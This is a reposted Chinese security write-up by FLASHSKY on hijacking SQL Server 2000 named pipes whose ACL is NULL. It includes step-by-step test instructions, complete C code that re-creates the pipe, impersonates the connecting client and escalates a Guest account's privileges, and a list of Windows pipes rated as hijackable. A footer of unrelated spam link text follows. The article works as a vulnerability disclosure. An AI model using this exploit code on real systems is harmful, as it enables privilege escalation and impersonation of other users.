<span id="mktg5"></span>

<i id="mktg5"><meter id="mktg5"></meter></i>

        <label id="mktg5"><meter id="mktg5"></meter></label>
        最新文章專題視頻專題問答1問答10問答100問答1000問答2000關鍵字專題1關鍵字專題50關鍵字專題500關鍵字專題1500TAG最新視頻文章推薦1 推薦3 推薦5 推薦7 推薦9 推薦11 推薦13 推薦15 推薦17 推薦19 推薦21 推薦23 推薦25 推薦27 推薦29 推薦31 推薦33 推薦35 推薦37視頻文章20視頻文章30視頻文章40視頻文章50視頻文章60 視頻文章70視頻文章80視頻文章90視頻文章100視頻文章120視頻文章140 視頻2關鍵字專題關鍵字專題tag2tag3文章專題文章專題2文章索引1文章索引2文章索引3文章索引4文章索引5123456789101112131415文章專題3
        問答文章1 問答文章501 問答文章1001 問答文章1501 問答文章2001 問答文章2501 問答文章3001 問答文章3501 問答文章4001 問答文章4501 問答文章5001 問答文章5501 問答文章6001 問答文章6501 問答文章7001 問答文章7501 問答文章8001 問答文章8501 問答文章9001 問答文章9501
        當前位置: 首頁 - 科技 - 知識百科 - 正文

        SQLSERVER2000通訊管道后復用劫持

        來源:懂視網 責編:小采 時間:2020-11-09 07:05:11
        文檔

        SQLSERVER2000通訊管道后復用劫持

        SQLSERVER2000通訊管道后復用劫持:作者:FLASHSKY SITE:WWW.XFOCUS.NET 郵件:flashsky@xfocus.org SQL SERVER 2000通訊中,允許使用有名管道來進行通訊,一般情況下是如此命名的: 默認實例:\\.\pipe\sql\query 命名實例:\\.\pipe\MSSQL$instancename\s
        推薦度:
        導讀SQLSERVER2000通訊管道后復用劫持:作者:FLASHSKY SITE:WWW.XFOCUS.NET 郵件:flashsky@xfocus.org SQL SERVER 2000通訊中,允許使用有名管道來進行通訊,一般情況下是如此命名的: 默認實例:\\.\pipe\sql\query 命名實例:\\.\pipe\MSSQL$instancename\s

        作者:FLASHSKY
        SITE:WWW.XFOCUS.NET
        郵件:flashsky@xfocus.org

        SQL SERVER 2000通訊中,允許使用有名管道來進行通訊,一般情況下是如此命名的:
        默認實例:\\.\pipe\sql\query
        命名實例:\\.\pipe\MSSQL$instancename\sql\query
        也可以通過1434 UDP進行查詢獲得這個管道名稱

        但是由于SQL SERVER 2000對于這個管道的ACL設置為NULL,導致任何用戶的權限都可以對這個管道進行劫持,以前的劫持都是利用先停掉服務,再建立這個名字管道,然后再啟動服務來復用自己已經建立了名字的管道,但實際上SQL SERVER 2000會判斷是否已有同名管道,然后會取別的名字,而且低級權限的用戶也啟動和停止不了服務(除非是利用一些漏洞),但是實際上對管道的測試卻發現:如果ACL設置成NULL的話,即使是后命名的管道,也可以劫持先命令的管道,只需要簡單復用管道,然后自己建立幾個管道的連接不釋放(具體建立幾個估計和真正的管道
        建立時的實例個數有關,如在我的測試下,\\.\pipe\sql\query只需要建立1個接可以劫持了,而\\.\pipe\lsass則需要4-5個之后才能劫持。不過\\.\pipe\lsass的ACL只能是管理員才能進行劫持)
        如果攻擊者復用了同名管道以后,建立起幾個不釋放的管道(消耗掉了正常管道的實例),然后再有客戶發起的管道連接就進入了攻擊者程序的管道監聽流程,剩下的就是大家都知道的利用模擬函數獲得發起者權限的老生常談了:
        下面就是一個簡單的例子,實現對SQL SERVER 2000管道通訊的劫持
        環境:SQL SERVER 2000+SP2
              WIN2000 SERVER中文版+SP3
        測試流程:
             1。先建立SQL 服務器允許管道通訊,和集成WINDOWS 驗證,添加一個具備高權限的允許SQL SERVER登陸的WINDOWS本機帳戶,啟動SQL SERVER服務
             2。C盤下建立一個TEST.TXT文件,設置ACL為GUEST全部拒絕,其他人都許可
             3。在另外一臺機器B上,以添加的可以登陸SQL SERVER的服務器帳戶登陸,然后設置客戶端網絡庫只為管道(如果有多個,可能就會是隨機選一個連接,而不肯定是管道進行通訊了)
             4。然后用SQL SERVER企業管理器建立一個SQL SERVER的連接,使用集成WINDOWS驗證
             5。SQL SERVER這邊的機器進入GUEST帳戶運行下面C代碼的程序,會顯示先無法打開TEST.TXT文件,然后進行劫持,等待客戶端管道連接
             6。在機器B上,連接SQL SERVER,然后主機A的程序就會截獲這個管道扮演高權限登陸用戶,然后可以打開先沒權限打開的文件。

            當然這個攻擊本身實際的意義可能不大,因為估計現在SQL SERVER用管道建立通訊的比較少,而且在都允許的情況下,一般會主動選擇TCP方式進行連接,但同時說明了:一個缺乏很好ACL保護的管道,也可以用后發復用來進行劫持,這就減少了很多需要先停掉服務或預先預測的難題,在編寫服務器端管道應用的時候也必須小心。

        SQL SERVER 2000劫持代碼

        #include <windows.h>
        #include <winbase.h>
        #include <stdio.h>
        #include <stdlib.h>
        
        void main()
        {
         HANDLE pipea;
         FILE * fp;
         DWORD ret;
         DWORD num;
         HANDLE pipeb[100];
         int i;
         int dwSize ;
         char szUser[256]; 
         DWORD dwNumber = 0;
         //先的測試,在GUEST權限下無法打開此文件
         fp = fopen("C:\\test.txt","w");
         if(fp==NULL)
         printf("now you don't open file;\n");
         //建立起一個同名管道,復用已存在的SQL SERVER的
         pipea = CreateNamedPipe("\\\\.\\pipe\\sql\\query",
         PIPE_ACCESS_DUPLEX,
         PIPE_TYPE_MESSAGE|PIPE_WAIT,
         100,
         2048,
         2048,
         NMPWAIT_USE_DEFAULT_WAIT,
         NULL);
        
         if(pipea ==INVALID_HANDLE_VALUE)
         {
         ret = GetLastError();
         printf("error in createnamedpipe!code=%d\n",ret);
         return;
         }
         //損耗掉其他正常實例
         if(WaitNamedPipe("\\\\.\\pipe\\sql\\query",NMPWAIT_WAIT_FOREVER)==0)
         {
         printf("no this pipe\n");
         return;
         }
         //可以調整個數,SQL SERVER只需要調整一個就可以了
         for(i=0;i<1;i++)
         {
         Sleep(20);
         if((pipeb[i]=CreateFile("\\\\.\\pipe\\sql\\query",GENERIC_WRITE|GENERIC_READ,0,(LPSECURITY_ATTRIBUTES)NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,(HANDLE)NULL))==INVALID_HANDLE_VALUE)
         {
         printf("open pipe failed\n");
         return;
         }
         //WriteFile(pipeb[i],"test1",5,&num,NULL);
         //WriteFile(pipeb[i],"test2",5,&num,NULL);
         }
         //然后等待連接
         ConnectNamedPipe (pipea, NULL);
         ReadFile(pipea, (void *) &dwNumber, 4, &dwSize, NULL);
         //模擬連接進來的用戶
         ImpersonateNamedPipeClient (pipea);
         dwSize = 256;
         //獲得用戶信息
         GetUserName(szUser, &dwSize);
         printf ("Impersonating: %s\n", szUser); 
         //然后再測試是否能打開這個文件,證明確實提升了權限
         fp = fopen("C:\\test.txt","w");
         if(fp!=NULL)
         printf("now you can open file\n");
         DisconnectNamedPipe(pipea);
         CloseHandle(pipea);
         for(i=0;i<1;i++)
         CloseHandle(pipeb[i]); 
         return;
        } 

        補充:
        所有管道都有這個漏洞,就是看ACL能否允許你復用,只要能復用就可以
        如//./pipe/lsass 我都可以劫持,但是他的ACL定義成只能administrator進行劫持
        目前測試了一下默認的一些管道基本ACL設置好好,不允許低級權限用戶復制,但SQL的管道顯示ACL設置的很差
        可能更多服務或者其他的第三方的服務中存在這樣沒有很好ACL保護的管道,那么就意味著后復用也可以劫持成功

        下面是我開啟了所有默認的WIN的服務,然后獲取的系統管道測試的結果(沒有開啟終端服務,我機器沒裝,裝了終端服務的可以測一下),另外也不能說沒有意義,我前面看見一篇文章還專門推薦用集成驗證加管道通訊獲得更安全的SQL SERVER呢,嘿嘿
        Pipe name (Number of instances, Maximum instances)

        InitShutdown (2, -1)<---------------可以在ADMIN下劫持
        net\NtControlPipe5 (1, 1)
        llsrpc (2, -1)   <---------------可以在ADMIN下劫持
        000001e8.000 (2, -1) <-----------可以在ADMIN下劫持
        net\NtControlPipe8 (1, 1)
        net\NtControlPipe9 (1, 1)
        ProfMapApi (2, -1)<--------------可以在ADMIN下劫持
        epmapper (2, -1)<----------------可以在ADMIN下劫持
        WMIEP_454 (2, -1)<---------------可以在ADMIN下劫持<------GUEST用戶可劫持
        WMIEP_444 (2, -1)<---------------可以在ADMIN下劫持<------GUEST用戶可劫持
        net\NtControlPipe11 (1, 1)
        WMIEP_3c8 (2, -1)<---------------可以在ADMIN下劫持
        net\NtControlPipe12 (1, 1)
        net\NtControlPipe13 (1, 1)
        nddeapi (2, -1)<-----------------可以在ADMIN下劫持<------GUEST用戶可劫持
        NetDDE (1, 1)                    返回所有管道實例都忙的錯誤信息,不知道是否ACL設置許可復用
        net\NtControlPipe14 (1, 1)
        Winsock2\CatalogChangeListener-e8-0 (1, 1)<-----------------可以在ADMIN下劫持
        net\NtControlPipe15 (1, 1)
        Winsock2\CatalogChangeListener-574-0 (1, 1)<-----------------可以在ADMIN下劫持
        WMIEP_640 (2, -1)<-----------------可以在ADMIN下劫持
        Winsock2\CatalogChangeListener-640-0 (1, 1)<-----------------可以在ADMIN下劫持
        net\NtControlPipe25 (1, 1)
        WMIEP_6f0 (2, -1)<-----------------可以在ADMIN下劫持
        sql\console (1, -1)<---------------可以在ADMIN下劫持<------GUEST用戶可劫持
        SQL\QUERY (1, -1)<-----------------可以在ADMIN下劫持<------GUEST用戶可劫持
        net\NtControlPipe26 (1, 1)
        tsx_listener (1, 1)         返回所有管道實例都忙的錯誤信息,不知道是否ACL設置許可復用
        winreg (2, -1)<-----------------可以在ADMIN下劫持
        Winsock2\CatalogChangeListener-6f0-0 (1, 1)<-----------------可以在ADMIN下劫持

        其中在GUEST權限下可劫持的有
        WMIEP_454 (2, -1)<---------------可以在ADMIN下劫持<------GUEST用戶可劫持
        WMIEP_444 (2, -1)<---------------可以在ADMIN下劫持<------GUEST用戶可劫持
        nddeapi (2, -1)<-----------------可以在ADMIN下劫持<------GUEST用戶可劫持
        sql\console (1, -1)<---------------可以在ADMIN下劫持<------GUEST用戶可劫持
        SQL\QUERY (1, -1)<-----------------可以在ADMIN下劫持<------GUEST用戶可劫持
        SQL 的就不說了,不過sql\console這個管道用于什么方面還不清楚,如果有默認的一些用途的話,估計也是一個點。
        nddeapi的基本存在nddeapi的應用的話就可以發生
        WMI的就難點,看這樣子是隨著發展每個連接都會新建起來的,那樣后復用作用就不大,只能采用預測名字的方法提前復用來攻擊,但是奇怪的是其權限是不同的,有些WMI的不能GUEST復用,有些又可以,有時間了具體測試一下WMI客戶與服務器之間連接產生的管道通訊的情況,或許也是走一個默認的管道名,說不定就可以攻擊了呢,:)

        聲明:本網頁內容旨在傳播知識,若有侵權等問題請及時與本網聯系,我們將在第一時間刪除處理。TEL:177 7030 7066 E-MAIL:11247931@qq.com

        文檔

        SQLSERVER2000通訊管道后復用劫持

        SQLSERVER2000通訊管道后復用劫持:作者:FLASHSKY SITE:WWW.XFOCUS.NET 郵件:flashsky@xfocus.org SQL SERVER 2000通訊中,允許使用有名管道來進行通訊,一般情況下是如此命名的: 默認實例:\\.\pipe\sql\query 命名實例:\\.\pipe\MSSQL$instancename\s
        推薦度:
        標簽: 通訊 管道 劫持
        • 熱門焦點

        最新推薦

        猜你喜歡

        熱門推薦

        專題
        Top
        主站蜘蛛池模板: 四虎影视久久久免费| 日韩色视频一区二区三区亚洲| 最近国语视频在线观看免费播放 | 午夜无遮挡羞羞漫画免费| 在线看片免费人成视频播| 女人被弄到高潮的免费视频| 亚洲伊人久久大香线蕉苏妲己| baoyu777永久免费视频| 亚洲精品中文字幕乱码三区| 精品四虎免费观看国产高清午夜| 亚洲国产精品成人精品无码区 | 爽爽爽爽爽爽爽成人免费观看| 亚洲精品无码成人片在线观看| 国产伦精品一区二区免费| 国产亚洲综合网曝门系列| 一区二区三区观看免费中文视频在线播放 | 亚洲中文无码线在线观看| 免费看男女下面日出水来| 在线观看亚洲AV每日更新无码| 国产zzjjzzjj视频全免费| v片免费在线观看| 亚洲人成网站在线播放影院在线 | 亚洲人成77777在线播放网站不卡 亚洲人成77777在线观看网 | 精品亚洲AV无码一区二区| 日韩午夜免费视频| 国产VA免费精品高清在线| 亚洲综合精品香蕉久久网97| 永久免费毛片手机版在线看| 无码人妻一区二区三区免费视频 | 黄网站在线播放视频免费观看| 亚洲精品成人久久久| 国产免费无码一区二区| 国产人成亚洲第一网站在线播放| 又大又粗又爽a级毛片免费看| 免费精品99久久国产综合精品| 亚洲日本人成中文字幕| 亚洲中文字幕无码久久精品1| 国产免费看JIZZ视频| 岛国岛国免费V片在线观看| 亚洲av无码不卡久久| 亚洲色精品vr一区二区三区|